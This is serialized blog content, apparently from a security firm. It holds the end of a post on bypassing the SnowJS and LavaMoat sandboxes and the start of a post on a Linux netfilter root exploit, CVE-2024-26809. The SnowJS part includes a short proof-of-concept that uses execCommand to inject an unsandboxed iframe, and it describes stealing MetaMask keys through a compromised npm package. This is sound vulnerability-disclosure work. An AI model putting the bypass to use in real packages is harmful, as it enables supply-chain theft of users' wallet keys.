Element:",{"type":22,"tag":101,"props":53836,"children":53837},{"style":120},[53838],{"type":27,"value":911},{"type":22,"tag":101,"props":53840,"children":53841},{"style":6476},[53842],{"type":27,"value":53843},"'innerHTML'",{"type":22,"tag":101,"props":53845,"children":53846},{"style":120},[53847],{"type":27,"value":758},{"type":22,"tag":101,"props":53849,"children":53850},{"style":6476},[53851],{"type":27,"value":53852},"'outerHTML'",{"type":22,"tag":101,"props":53854,"children":53855},{"style":120},[53856],{"type":27,"value":758},{"type":22,"tag":101,"props":53858,"children":53859},{"style":6476},[53860],{"type":27,"value":53861},"'insertAdjacentHTML'",{"type":22,"tag":101,"props":53863,"children":53864},{"style":120},[53865],{"type":27,"value":758},{"type":22,"tag":101,"props":53867,"children":53868},{"style":6476},[53869],{"type":27,"value":53870},"'replaceWith'",{"type":22,"tag":101,"props":53872,"children":53873},{"style":120},[53874],{"type":27,"value":758},{"type":22,"tag":101,"props":53876,"children":53877},{"style":6476},[53878],{"type":27,"value":53879},"'insertAdjacentElement'",{"type":22,"tag":101,"props":53881,"children":53882},{"style":120},[53883],{"type":27,"value":758},{"type":22,"tag":101,"props":53885,"children":53886},{"style":6476},[53887],{"type":27,"value":53720},{"type":22,"tag":101,"props":53889,"children":53890},{"style":120},[53891],{"type":27,"value":758},{"type":22,"tag":101,"props":53893,"children":53894},{"style":6476},[53895],{"type":27,"value":53896},"'before'",{"type":22,"tag":101,"props":53898,"children":53899},{"style":120},[53900],{"type":27,"value":758},{"type":22,"tag":101,"props":53902,"children":53903},{"style":6476},[53904],{"type":27,"value":53729},{"type":22,"tag":101,"props":53906,"children":53907},{"style":120},[53908],{"type":27,"value":758},{"type":22,"tag":101,"props":53910,"children":53911},{"style":6476},[53912],{"type":27,"value":53913},"'after'",{"type":22,"tag":101,"props":53915,"children":53916},{"style":120},[53917],{"type":27,"value":758},{"type":22,"tag":101,"props":53919,"children":53920},{"style":6476},[53921],{"type":27,"value":53711},{"type":22,"tag":101,"props":53923,"children":53924},{"style":120},[53925],{"type":27,"value":18265},{"type":22,"tag":101,"props":53927,"children":53928},{"class":103,"line":997},[53929,53934,53938,53942],{"type":22,"tag":101,"props":53930,"children":53931},{"style":126},[53932],{"type":27,"value":53933}," ShadowRoot:",{"type":22,"tag":101,"props":53935,"children":53936},{"style":120},[53937],{"type":27,"value":911},{"type":22,"tag":101,"props":53939,"children":53940},{"style":6476},[53941],{"type":27,"value":53843},{"type":22,"tag":101,"props":53943,"children":53944},{"style":120},[53945],{"type":27,"value":18265},{"type":22,"tag":101,"props":53947,"children":53948},{"class":103,"line":1032},[53949,53954,53958,53963],{"type":22,"tag":101,"props":53950,"children":53951},{"style":126},[53952],{"type":27,"value":53953}," HTMLIFrameElement:",{"type":22,"tag":101,"props":53955,"children":53956},{"style":120},[53957],{"type":27,"value":911},{"type":22,"tag":101,"props":53959,"children":53960},{"style":6476},[53961],{"type":27,"value":53962},"'srcdoc'",{"type":22,"tag":101,"props":53964,"children":53965},{"style":120},[53966],{"type":27,"value":18265},{"type":22,"tag":101,"props":53968,"children":53969},{"class":103,"line":1063},[53970],{"type":22,"tag":101,"props":53971,"children":53972},{"style":120},[53973],{"type":27,"value":20576},{"type":22,"tag":23,"props":53975,"children":53976},{},[53977],{"type":27,"value":53978},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":22,"tag":23,"props":53980,"children":53981},{},[53982],{"type":27,"value":53983},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":22,"tag":1760,"props":53985,"children":53987},{"id":53986},"bypassing-snowjs",[53988],{"type":27,"value":53989},"Bypassing SnowJS",{"type":22,"tag":23,"props":53991,"children":53992},{},[53993,53995,54006,54008,54014],{"type":27,"value":53994},"The deprecated ",{"type":22,"tag":80,"props":53996,"children":53999},{"href":53997,"rel":53998},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[84],[54000],{"type":22,"tag":30,"props":54001,"children":54003},{"className":54002},[],[54004],{"type":27,"value":54005},"document.execCommand",{"type":27,"value":54007}," function is used to execute commands inside a ",{"type":22,"tag":30,"props":54009,"children":54011},{"className":54010},[],[54012],{"type":27,"value":54013},"contenteditable",{"type":27,"value":54015}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":22,"tag":91,"props":54017,"children":54020},{"className":54018,"code":54019,"language":36379,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[54021],{"type":22,"tag":30,"props":54022,"children":54023},{"__ignoreMap":7},[54024],{"type":22,"tag":101,"props":54025,"children":54026},{"class":103,"line":104},[54027,54031,54035,54039,54043,54048,54053,54058,54063,54067],{"type":22,"tag":101,"props":54028,"children":54029},{"style":36372},[54030],{"type":27,"value":123},{"type":22,"tag":101,"props":54032,"children":54033},{"style":108},[54034],{"type":27,"value":35342},{"type":22,"tag":101,"props":54036,"children":54037},{"style":126},[54038],{"type":27,"value":36452},{"type":22,"tag":101,"props":54040,"children":54041},{"style":120},[54042],{"type":27,"value":1511},{"type":22,"tag":101,"props":54044,"children":54045},{"style":6476},[54046],{"type":27,"value":54047},"test",{"type":22,"tag":101,"props":54049,"children":54050},{"style":126},[54051],{"type":27,"value":54052}," contenteditable",{"type":22,"tag":101,"props":54054,"children":54055},{"style":126},[54056],{"type":27,"value":54057}," autofocus",{"type":22,"tag":101,"props":54059,"children":54060},{"style":36372},[54061],{"type":27,"value":54062},">\u003C/",{"type":22,"tag":101,"props":54064,"children":54065},{"style":108},[54066],{"type":27,"value":35342},{"type":22,"tag":101,"props":54068,"children":54069},{"style":36372},[54070],{"type":27,"value":527},{"type":22,"tag":23,"props":54072,"children":54073},{},[54074,54076,54082,54084,54089],{"type":27,"value":54075},"After inserting this element to a page, it is possible to use ",{"type":22,"tag":30,"props":54077,"children":54079},{"className":54078},[],[54080],{"type":27,"value":54081},"insertHTML",{"type":27,"value":54083}," command of ",{"type":22,"tag":30,"props":54085,"children":54087},{"className":54086},[],[54088],{"type":27,"value":54005},{"type":27,"value":54090}," to add a non-sandboxed iframe.",{"type":22,"tag":91,"props":54092,"children":54094},{"className":35359,"code":54093,"language":35361,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[54095],{"type":22,"tag":30,"props":54096,"children":54097},{"__ignoreMap":7},[54098],{"type":22,"tag":101,"props":54099,"children":54100},{"class":103,"line":104},[54101,54105,54109,54114,54118,54123,54127,54131,54135,54140],{"type":22,"tag":101,"props":54102,"children":54103},{"style":126},[54104],{"type":27,"value":36704},{"type":22,"tag":101,"props":54106,"children":54107},{"style":120},[54108],{"type":27,"value":231},{"type":22,"tag":101,"props":54110,"children":54111},{"style":926},[54112],{"type":27,"value":54113},"execCommand",{"type":22,"tag":101,"props":54115,"children":54116},{"style":120},[54117],{"type":27,"value":980},{"type":22,"tag":101,"props":54119,"children":54120},{"style":6476},[54121],{"type":27,"value":54122},"'insertHTML'",{"type":22,"tag":101,"props":54124,"children":54125},{"style":120},[54126],{"type":27,"value":758},{"type":22,"tag":101,"props":54128,"children":54129},{"style":108},[54130],{"type":27,"value":5644},{"type":22,"tag":101,"props":54132,"children":54133},{"style":120},[54134],{"type":27,"value":758},{"type":22,"tag":101,"props":54136,"children":54137},{"style":6476},[54138],{"type":27,"value":54139},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":22,"tag":101,"props":54141,"children":54142},{"style":120},[54143],{"type":27,"value":994},{"type":22,"tag":1760,"props":54145,"children":54147},{"id":54146},"impact-on-lavamoat-scuttling",[54148],{"type":27,"value":54149},"Impact On Lavamoat Scuttling",{"type":22,"tag":23,"props":54151,"children":54152},{},[54153],{"type":27,"value":54154},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":22,"tag":23,"props":54156,"children":54157},{},[54158,54160,54165,54167,54172],{"type":27,"value":54159},"For the exploit, the only used functions are in ",{"type":22,"tag":30,"props":54161,"children":54163},{"className":54162},[],[54164],{"type":27,"value":36704},{"type":27,"value":54166}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":22,"tag":30,"props":54168,"children":54170},{"className":54169},[],[54171],{"type":27,"value":41413},{"type":27,"value":2816},{"type":22,"tag":23,"props":54174,"children":54175},{},[54176,54178,54183],{"type":27,"value":54177},"Consider this example, which runs a scuttled ",{"type":22,"tag":30,"props":54179,"children":54181},{"className":54180},[],[54182],{"type":27,"value":36694},{"type":27,"value":29466},{"type":22,"tag":91,"props":54185,"children":54187},{"className":35359,"code":54186,"language":35361,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[54188],{"type":22,"tag":30,"props":54189,"children":54190},{"__ignoreMap":7},[54191,54227,54264,54307],{"type":22,"tag":101,"props":54192,"children":54193},{"class":103,"line":104},[54194,54198,54202,54206,54210,54214,54218,54223],{"type":22,"tag":101,"props":54195,"children":54196},{"style":126},[54197],{"type":27,"value":36704},{"type":22,"tag":101,"props":54199,"children":54200},{"style":120},[54201],{"type":27,"value":231},{"type":22,"tag":101,"props":54203,"children":54204},{"style":126},[54205],{"type":27,"value":36396},{"type":22,"tag":101,"props":54207,"children":54208},{"style":120},[54209],{"type":27,"value":231},{"type":22,"tag":101,"props":54211,"children":54212},{"style":126},[54213],{"type":27,"value":38968},{"type":22,"tag":101,"props":54215,"children":54216},{"style":166},[54217],{"type":27,"value":960},{"type":22,"tag":101,"props":54219,"children":54220},{"style":6476},[54221],{"type":27,"value":54222}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":22,"tag":101,"props":54224,"children":54225},{"style":120},[54226],{"type":27,"value":1520},{"type":22,"tag":101,"props":54228,"children":54229},{"class":103,"line":157},[54230,54234,54238,54242,54246,54251,54255,54260],{"type":22,"tag":101,"props":54231,"children":54232},{"style":126},[54233],{"type":27,"value":36704},{"type":22,"tag":101,"props":54235,"children":54236},{"style":120},[54237],{"type":27,"value":231},{"type":22,"tag":101,"props":54239,"children":54240},{"style":926},[54241],{"type":27,"value":38993},{"type":22,"tag":101,"props":54243,"children":54244},{"style":120},[54245],{"type":27,"value":980},{"type":22,"tag":101,"props":54247,"children":54248},{"style":6476},[54249],{"type":27,"value":54250},"'test'",{"type":22,"tag":101,"props":54252,"children":54253},{"style":120},[54254],{"type":27,"value":24730},{"type":22,"tag":101,"props":54256,"children":54257},{"style":926},[54258],{"type":27,"value":54259},"focus",{"type":22,"tag":101,"props":54261,"children":54262},{"style":120},[54263],{"type":27,"value":934},{"type":22,"tag":101,"props":54265,"children":54266},{"class":103,"line":182},[54267,54271,54275,54279,54283,54287,54291,54295,54299,54303],{"type":22,"tag":101,"props":54268,"children":54269},{"style":126},[54270],{"type":27,"value":36704},{"type":22,"tag":101,"props":54272,"children":54273},{"style":120},[54274],{"type":27,"value":231},{"type":22,"tag":101,"props":54276,"children":54277},{"style":926},[54278],{"type":27,"value":54113},{"type":22,"tag":101,"props":54280,"children":54281},{"style":120},[54282],{"type":27,"value":980},{"type":22,"tag":101,"props":54284,"children":54285},{"style":6476},[54286],{"type":27,"value":54122},{"type":22,"tag":101,"props":54288,"children":54289},{"style":120},[54290],{"type":27,"value":758},{"type":22,"tag":101,"props":54292,"children":54293},{"style":108},[54294],{"type":27,"value":5644},{"type":22,"tag":101,"props":54296,"children":54297},{"style":120},[54298],{"type":27,"value":758},{"type":22,"tag":101,"props":54300,"children":54301},{"style":6476},[54302],{"type":27,"value":54139},{"type":22,"tag":101,"props":54304,"children":54305},{"style":120},[54306],{"type":27,"value":994},{"type":22,"tag":101,"props":54308,"children":54309},{"class":103,"line":367},[54310,54314,54318,54323,54327,54331,54336,54340,54345,54350,54354,54358,54362,54366,54370,54374],{"type":22,"tag":101,"props":54311,"children":54312},{"style":126},[54313],{"type":27,"value":36704},{"type":22,"tag":101,"props":54315,"children":54316},{"style":120},[54317],{"type":27,"value":231},{"type":22,"tag":101,"props":54319,"children":54320},{"style":926},[54321],{"type":27,"value":54322},"getElementsByTagName",{"type":22,"tag":101,"props":54324,"children":54325},{"style":120},[54326],{"type":27,"value":980},{"type":22,"tag":101,"props":54328,"children":54329},{"style":6476},[54330],{"type":27,"value":40726},{"type":22,"tag":101,"props":54332,"children":54333},{"style":120},[54334],{"type":27,"value":54335},")[",{"type":22,"tag":101,"props":54337,"children":54338},{"style":1544},[54339],{"type":27,"value":8065},{"type":22,"tag":101,"props":54341,"children":54342},{"style":120},[54343],{"type":27,"value":54344},"].",{"type":22,"tag":101,"props":54346,"children":54347},{"style":126},[54348],{"type":27,"value":54349},"contentWindow",{"type":22,"tag":101,"props":54351,"children":54352},{"style":120},[54353],{"type":27,"value":231},{"type":22,"tag":101,"props":54355,"children":54356},{"style":926},[54357],{"type":27,"value":36694},{"type":22,"tag":101,"props":54359,"children":54360},{"style":120},[54361],{"type":27,"value":980},{"type":22,"tag":101,"props":54363,"children":54364},{"style":126},[54365],{"type":27,"value":36704},{"type":22,"tag":101,"props":54367,"children":54368},{"style":120},[54369],{"type":27,"value":231},{"type":22,"tag":101,"props":54371,"children":54372},{"style":126},[54373],{"type":27,"value":36714},{"type":22,"tag":101,"props":54375,"children":54376},{"style":120},[54377],{"type":27,"value":994},{"type":22,"tag":1760,"props":54379,"children":54381},{"id":54380},"snowjs-patch",[54382],{"type":27,"value":54383},"SnowJS Patch",{"type":22,"tag":23,"props":54385,"children":54386},{},[54387,54389,54396,54398,54405],{"type":27,"value":54388},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":22,"tag":80,"props":54390,"children":54393},{"href":54391,"rel":54392},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[84],[54394],{"type":27,"value":54395},"browser feature within W3C standards",{"type":27,"value":54397},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":22,"tag":80,"props":54399,"children":54402},{"href":54400,"rel":54401},"https://github.com/weizman/Realms-Initialization-Control",[84],[54403],{"type":27,"value":54404},"Here",{"type":27,"value":54406}," is their new proposal.",{"type":22,"tag":53,"props":54408,"children":54410},{"id":54409},"chaining-the-impacts",[54411],{"type":27,"value":54412},"Chaining The Impacts",{"type":22,"tag":23,"props":54414,"children":54415},{},[54416],{"type":27,"value":54417},"We were able to find two vulnerabilities in lavamoat project:",{"type":22,"tag":6828,"props":54419,"children":54420},{},[54421,54426],{"type":22,"tag":6832,"props":54422,"children":54423},{},[54424],{"type":27,"value":54425},"Policy File Bypass",{"type":22,"tag":6832,"props":54427,"children":54428},{},[54429],{"type":27,"value":54430},"Scuttling Bypass",{"type":22,"tag":23,"props":54432,"children":54433},{},[54434],{"type":27,"value":54435},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":22,"tag":23,"props":54437,"children":54438},{},[54439],{"type":27,"value":54440},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":22,"tag":53,"props":54442,"children":54443},{"id":6776},[54444],{"type":27,"value":6779},{"type":22,"tag":23,"props":54446,"children":54447},{},[54448],{"type":27,"value":54449},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":22,"tag":35342,"props":54451,"children":54452},{"style":35344},[54453],{"type":22,"tag":7959,"props":54454,"children":54457},{"src":54455,"alt":54456,"style":35350},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":22,"tag":6815,"props":54459,"children":54461},{"className":54460,"dataFootnotes":7},[6818],[54462,54467],{"type":22,"tag":53,"props":54463,"children":54465},{"className":54464,"id":6809},[6823],[54466],{"type":27,"value":6826},{"type":22,"tag":6828,"props":54468,"children":54469},{},[54470],{"type":22,"tag":6832,"props":54471,"children":54472},{"id":6834},[54473,54475,54482,54483],{"type":27,"value":54474},"Excluding SES, which was covered ",{"type":22,"tag":80,"props":54476,"children":54479},{"href":54477,"rel":54478},"https://osec.io/blog/2023-11-01-metamask-snaps",[84],[54480],{"type":27,"value":54481},"in our last article",{"type":27,"value":2169},{"type":22,"tag":80,"props":54484,"children":54486},{"href":6883,"ariaLabel":6884,"className":54485,"dataFootnoteBackref":7},[6886],[54487],{"type":27,"value":6889},{"type":22,"tag":6891,"props":54489,"children":54490},{},[54491],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":54493},[54494,54498,54504,54510,54511,54512],{"id":22946,"depth":157,"text":22949,"children":54495},[54496,54497],{"id":33014,"depth":182,"text":33017},{"id":51117,"depth":182,"text":51120},{"id":51873,"depth":157,"text":51876,"children":54499},[54500,54501,54502,54503],{"id":52124,"depth":182,"text":52127},{"id":52599,"depth":182,"text":52602},{"id":53255,"depth":182,"text":53258},{"id":53378,"depth":182,"text":53381},{"id":53496,"depth":157,"text":53499,"children":54505},[54506,54507,54508,54509],{"id":53624,"depth":182,"text":53627},{"id":53986,"depth":182,"text":53989},{"id":54146,"depth":182,"text":54149},{"id":54380,"depth":182,"text":54383},{"id":54409,"depth":157,"text":54412},{"id":6776,"depth":157,"text":6779},{"id":6809,"depth":157,"text":6826},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":54517,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":54518,"description":54519,"author":54520,"image":54521,"date":54523,"isFeatured":15,"tags":54524,"onBlogPage":15,"body":54527,"_type":6912,"_id":64908,"_source":6914,"_file":64909,"_stem":64910,"_extension":6917},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":54522,"height":13274,"width":9767},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[54525,54526],"kernal","linux",{"type":19,"children":54528,"toc":64876},[54529,54542,54556,54561,54567,54577,54582,54588,54593,54611,54625,54634,54667,54672,54678,54697,54730,54736,54749,54959,55026,55590,55609,55834,55893,55899,55919,55959,56147,56152,56303,56359,56364,56878,56897,57166,57192,57701,57768,57774,57810,57815,58081,58114,58126,58153,58165,58170,58176,58197,58203,58224,58247,59079,59085,59125,59665,59676,59710,59777,59831,60063,60069,60113,60577,60583,60594,60624,60707,60712,60717,60753,60805,60836,61391,61397,61414,61420,61425,61431,61459,61652,61672,61688,62283,62289,62324,62347,62359,62365,62393,62990,63015,63984,63995,64008,64021,64787,64801,64807,64819,64825,64853,64858,64862,64867,64872],{"type":22,"tag":23,"props":54530,"children":54531},{},[54532,54534,54541],{"type":27,"value":54533},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":22,"tag":80,"props":54535,"children":54538},{"href":54536,"rel":54537},"https://google.github.io/security-research/kernelctf/rules.html",[84],[54539],{"type":27,"value":54540},"KernelCTF VRP",{"type":27,"value":231},{"type":22,"tag":23,"props":54543,"children":54544},{},[54545,54547,54554],{"type":27,"value":54546},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":22,"tag":80,"props":54548,"children":54551},{"href":54549,"rel":54550},"https://github.com/conlonialC",[84],[54552],{"type":27,"value":54553},"lonial con",{"type":27,"value":54555},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":22,"tag":23,"props":54557,"children":54558},{},[54559],{"type":27,"value":54560},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":22,"tag":53,"props":54562,"children":54564},{"id":54563},"the-kernel",[54565],{"type":27,"value":54566},"The kernel",{"type":22,"tag":23,"props":54568,"children":54569},{},[54570,54572],{"type":27,"value":54571},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":22,"tag":7959,"props":54573,"children":54576},{"alt":54574,"src":54575},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":22,"tag":23,"props":54578,"children":54579},{},[54580],{"type":27,"value":54581},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":22,"tag":1760,"props":54583,"children":54585},{"id":54584},"kernel-exploitation",[54586],{"type":27,"value":54587},"Kernel exploitation",{"type":22,"tag":23,"props":54589,"children":54590},{},[54591],{"type":27,"value":54592},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":22,"tag":6839,"props":54594,"children":54595},{},[54596,54601,54606],{"type":22,"tag":6832,"props":54597,"children":54598},{},[54599],{"type":27,"value":54600},"Trigger some memory corruption in some kernel subsystem",{"type":22,"tag":6832,"props":54602,"children":54603},{},[54604],{"type":27,"value":54605},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":22,"tag":6832,"props":54607,"children":54608},{},[54609],{"type":27,"value":54610},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":22,"tag":23,"props":54612,"children":54613},{},[54614,54616,54623],{"type":27,"value":54615},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":22,"tag":80,"props":54617,"children":54620},{"href":54618,"rel":54619},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[84],[54621],{"type":27,"value":54622},"blog post",{"type":27,"value":54624}," to become more familiar with the topic.",{"type":22,"tag":53,"props":54626,"children":54628},{"id":54627},"nf_tables",[54629],{"type":22,"tag":30,"props":54630,"children":54632},{"className":54631},[],[54633],{"type":27,"value":54627},{"type":22,"tag":23,"props":54635,"children":54636},{},[54637,54642,54644,54650,54651,54657,54659,54665],{"type":22,"tag":30,"props":54638,"children":54640},{"className":54639},[],[54641],{"type":27,"value":54627},{"type":27,"value":54643}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":22,"tag":80,"props":54645,"children":54648},{"href":54646,"rel":54647},"https://pwning.tech/nftables",[84],[54649],{"type":27,"value":6813},{"type":27,"value":758},{"type":22,"tag":80,"props":54652,"children":54655},{"href":54653,"rel":54654},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[84],[54656],{"type":27,"value":7164},{"type":27,"value":54658},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":22,"tag":30,"props":54660,"children":54662},{"className":54661},[],[54663],{"type":27,"value":54664},"nf_table",{"type":27,"value":54666}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":22,"tag":23,"props":54668,"children":54669},{},[54670],{"type":27,"value":54671},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":22,"tag":1760,"props":54673,"children":54675},{"id":54674},"transactions",[54676],{"type":27,"value":54677},"Transactions",{"type":22,"tag":23,"props":54679,"children":54680},{},[54681,54683,54688,54690,54695],{"type":27,"value":54682},"A transaction is an interaction that updates ",{"type":22,"tag":30,"props":54684,"children":54686},{"className":54685},[],[54687],{"type":27,"value":54627},{"type":27,"value":54689}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":22,"tag":30,"props":54691,"children":54693},{"className":54692},[],[54694],{"type":27,"value":54627},{"type":27,"value":54696}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":22,"tag":6839,"props":54698,"children":54699},{},[54700,54710,54720],{"type":22,"tag":6832,"props":54701,"children":54702},{},[54703,54708],{"type":22,"tag":9370,"props":54704,"children":54705},{},[54706],{"type":27,"value":54707},"Control plane",{"type":27,"value":54709},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":22,"tag":6832,"props":54711,"children":54712},{},[54713,54718],{"type":22,"tag":9370,"props":54714,"children":54715},{},[54716],{"type":27,"value":54717},"Commit path",{"type":27,"value":54719},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":22,"tag":6832,"props":54721,"children":54722},{},[54723,54728],{"type":22,"tag":9370,"props":54724,"children":54725},{},[54726],{"type":27,"value":54727},"Abort path",{"type":27,"value":54729},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":22,"tag":53,"props":54731,"children":54733},{"id":54732},"vulnerability-details",[54734],{"type":27,"value":54735},"Vulnerability details",{"type":22,"tag":23,"props":54737,"children":54738},{},[54739,54741,54747],{"type":27,"value":54740},"Moving on, let's check out the ",{"type":22,"tag":80,"props":54742,"children":54745},{"href":54743,"rel":54744},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[84],[54746],{"type":27,"value":8270},{"type":27,"value":54748}," that fixed the bug.",{"type":22,"tag":91,"props":54750,"children":54752},{"className":44355,"code":54751,"language":44357,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[54753],{"type":22,"tag":30,"props":54754,"children":54755},{"__ignoreMap":7},[54756,54764,54772,54780,54788,54796,54803,54811,54818,54826,54834,54842,54850,54858,54866,54874,54882,54890,54898,54906,54913,54921,54929,54937,54944,54951],{"type":22,"tag":101,"props":54757,"children":54758},{"class":103,"line":104},[54759],{"type":22,"tag":101,"props":54760,"children":54761},{"style":108},[54762],{"type":27,"value":54763},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":22,"tag":101,"props":54765,"children":54766},{"class":103,"line":157},[54767],{"type":22,"tag":101,"props":54768,"children":54769},{"style":120},[54770],{"type":27,"value":54771},"index c0ceea068936a6..df8de509024637 100644\n",{"type":22,"tag":101,"props":54773,"children":54774},{"class":103,"line":182},[54775],{"type":22,"tag":101,"props":54776,"children":54777},{"style":108},[54778],{"type":27,"value":54779},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":22,"tag":101,"props":54781,"children":54782},{"class":103,"line":367},[54783],{"type":22,"tag":101,"props":54784,"children":54785},{"style":108},[54786],{"type":27,"value":54787},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":22,"tag":101,"props":54789,"children":54790},{"class":103,"line":398},[54791],{"type":22,"tag":101,"props":54792,"children":54793},{"style":120},[54794],{"type":27,"value":54795},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":22,"tag":101,"props":54797,"children":54798},{"class":103,"line":428},[54799],{"type":22,"tag":101,"props":54800,"children":54801},{"emptyLinePlaceholder":15},[54802],{"type":27,"value":1581},{"type":22,"tag":101,"props":54804,"children":54805},{"class":103,"line":997},[54806],{"type":22,"tag":101,"props":54807,"children":54808},{"style":120},[54809],{"type":27,"value":54810}," m = rcu_dereference_protected(priv->match, true);\n",{"type":22,"tag":101,"props":54812,"children":54813},{"class":103,"line":1032},[54814],{"type":22,"tag":101,"props":54815,"children":54816},{"emptyLinePlaceholder":15},[54817],{"type":27,"value":1581},{"type":22,"tag":101,"props":54819,"children":54820},{"class":103,"line":1063},[54821],{"type":22,"tag":101,"props":54822,"children":54823},{"style":120},[54824],{"type":27,"value":54825}," if (m) {\n",{"type":22,"tag":101,"props":54827,"children":54828},{"class":103,"line":1071},[54829],{"type":22,"tag":101,"props":54830,"children":54831},{"style":120},[54832],{"type":27,"value":54833}," 